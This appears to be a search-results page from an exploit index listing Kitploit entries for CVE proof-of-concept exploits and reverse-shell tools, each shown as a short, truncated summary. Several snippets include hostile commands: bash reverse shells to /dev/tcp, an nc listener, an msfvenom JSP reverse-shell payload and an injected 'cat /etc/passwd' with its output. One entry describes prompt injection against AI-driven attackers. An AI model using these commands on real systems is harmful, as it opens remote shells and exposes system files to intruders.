Lucene search
+L

2532 matches found

Kitploit
Kitploit
added 2026/09/21 2:11 a.m.6 views

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ An issue was discovered in Webmin =1.920. The parameters "old" and "expire" in passwordchange.cgi contain a command injection vulnerability. Usage 1. Start a listener on red box. root@kitploit: rlwrap -cAr nc -lvp 1919 2. Run the explo...

10CVSS8.6AI score0.99766EPSS
SaveExploits40
Kitploit
Kitploit
added 2026/09/21 2:11 a.m.14 views

CVE-2017-11610

CVE-2017-11610 Unauthenticated Reverse Shell RCE for Supervisor 3.0a1 - 3.3.2 Standalone Python ≥3.6 Unauthenticated RCE exploit for Supervisor 3.0a1 to 3.3.2, rewritten from this Metasploit module. Explanatory post here. Tested with Python 3.7 on this target runing Supervisor 3.3.2 Usage:...

9CVSS8.1AI score0.87378EPSS
SaveExploits10References2
Kitploit
Kitploit
added 2026/09/21 2:04 a.m.13 views

Limesurvey-RCE

Limesurvey-RCE LimeSurvey Authenticated RCE Proof of Concept: 1. Create your files config.xml and php reverse shell files 2. Create archive with these files 3. Login with credentials 4. Go Configuration - Plugins - Upload & Install 5. Choose your zipped file 6. Upload 7. Install 8. Activate plugi...

6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/21 1:57 a.m.5 views

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 Shellshock Exploitation Script 🎯💻🔍 This Python script exploits the Shellshock vulnerability CVE-2014-6271 to execute commands remotely or establish a reverse shell on a vulnerable target. 🛠️⚠️ ⚠ Disclaimer 🚨❗ This script is intended for educational and authorized...

10CVSS8.6AI score0.99999EPSS
SaveExploits146
Kitploit
Kitploit
added 2026/09/21 1:46 a.m.8 views

CVE-2024-0012_CVE-2024-9474_PoC

🚀 CVE-2024-0012 & CVE-2024-9474 Palo Alto PAN-OS Exploit 🔐 🛡️ Description This Proof-of-Concept PoC script targeting vulnerabilities in Palo Alto PAN-OS, specifically CVE-2024-0012 and CVE-2024-9474 by automating the exploitation process, including autentication bypass, payload creation, chunked...

9.8CVSS8.3AI score0.99718EPSS
SaveExploits18
Kitploit
Kitploit
added 2026/09/21 1:36 a.m.14 views

hackEmbedded

hackebds 🔗中文 readme Overview hackebds is a toolkit for embedded-device payload generation, encrypted shell workflows, SOCKS5 proxy tunneling, and device information lookup. The current branch uses a pure ELF workflow for encrypted shell and proxy features: reverseshellfile + encryptedshellserver ...

6AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/21 1:32 a.m.6 views

CVE-2021-21978

CVE-2021-21978 CVE-2021-21978 EXP VMware View Planner RCE CVE-2021-21978 Reverse shell...

9.8CVSS8.3AI score0.99005EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/21 1:26 a.m.35 views

hershell

Hershell NOTE: the project has been forked on this repo, check there for any other developments. Hershell is a simple TCP reverse shell written in Go. It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception...

5.6AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/21 1:23 a.m.6 views

Demonstration-of-CVE-2023-38831-via-Reverse-Shell-Execution

CVE-2023-38831 Reverse Shell Demonstration This repository contains a PDF summary and screenshots of a lab-based demonstration of CVE-2023-38831. The vulnerability allows attackers to embed and execute malicious payloads in compressed files. In this case, the payload triggers a reverse shell...

7.8CVSS7.3AI score0.98022EPSS
SaveExploits49
Kitploit
Kitploit
added 2026/09/21 1:21 a.m.9 views

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous Proceed by clicking Add as shown in the image below. We now create a bash reverse shell as our Miscellaneous command root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 And click Save Now we navigate to Configuration Pollers and proceed by...

9CVSS7.2AI score0.27688EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/21 1:20 a.m.8 views

CVE-2020-8515

CVE-2020-8515 Draytek CVE-2020-8515 PoC I had kicking about. Amusingly, the command injected gets executed twice, see here: root@kitploit: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST...

10CVSS8.4AI score0.99993EPSS
SaveExploits7References1
Kitploit
Kitploit
added 2026/09/21 1:14 a.m.9 views

project_mantis

Project Mantis: Hacking Back the AI-Hacker Prompt Injection as a Defense Against LLM-driven Cyberattacks Install Mantis root@kitploit: pip install -r requirements.txt Run Mantis with pre-made configurations Various pre-made configurations are available in the ./confs directory. Hack-back An examp...

5.8AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/21 1:08 a.m.9 views

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run:...

9.3CVSS7.1AI score0.98452EPSS
SaveExploits35
Kitploit
Kitploit
added 2026/09/21 1:08 a.m.6 views

Samba-CVE-2007-2447-Exploit

Samba CVE-2007-2447 Exploit This is a Python script for exploiting CVE-2007-2447, a vulnerability known as 'Username' map script command execution in the Samba server. Description This exploit is developed to target Samba versions 3.x - 4.x. CVE-2007-2447 allows an attacker to execute arbitrary...

6CVSS8.5AI score0.49759EPSS
SaveExploits18
Kitploit
Kitploit
added 2026/09/21 1:06 a.m.9 views

pentestkoala

Koala is a patched version of the dropbear SSH server that instead of binding to a port opens up reverse shells by connecting to a remote client. This is useful for gaining a pty terminal on an exploited machine and also for secure exfiltration of data via SSH port forwarding. Pivoting can also b...

5.8AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/21 1:05 a.m.6 views

Fast-CVE-2022-22965

Target Machine root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest Reverse shell essentially references msfvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp After URL encoding the JSP, use root@kitploit: %3C%25 replac...

9.8CVSS7.8AI score0.99638EPSS
SaveExploits105
Kitploit
Kitploit
added 2026/09/21 12:49 a.m.18 views

PSAsyncShell

PSAsyncShell PSAsyncShell is an Asynchronous TCP Reverse Shell written in pure PowerShell. Unlike other reverse shells, all the communication and execution flow is done asynchronously, allowing to bypass some firewalls and some countermeasures against this kind of remote connections. Additionally...

6.1AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/21 12:48 a.m.11 views

cve-2026-27483

CVE-2026-27483 MindsDB Path Traversal to RCE PoC This PoC script is based on the following GitHub advisory By default MindsDB does not use auth PoC supports both unauthenticated and authenticated modes We can query /api/handlers/ to find available handlers, use any available but not installed...

8.8CVSS6.1AI score0.11113EPSS
SaveExploits5References1
Kitploit
Kitploit
added 2026/09/21 12:48 a.m.12 views

CVE-2018-2893

This software is for learning and communication purposes only and must not be used for any illegal activities The main purpose of this name is to ride on the popularity of 2893 — a reverse shell generator It is primarily used to generate your own external network nc listening object, hoping to he...

9.8CVSS8.1AI score0.71196EPSS
SaveExploits14
Kitploit
Kitploit
added 2026/09/21 12:39 a.m.11 views

Rejetto-HTTP-File-Server-HFS-2.3.x---Remote-Command-Execution

Rejetto HTTP File Server HFS 2.3.x - Remote Command Execution CVE-2014-6287 Rewrite of Pergyz 49584.py to return an x64 PowerShell Reverse Shell Usage $ python3 hfs-2-3-exploit.py Supply variables when prompted, auto starts Netcat for you...

10CVSS8.3AI score0.99323EPSS
SaveExploits23
Rows per page
Query Builder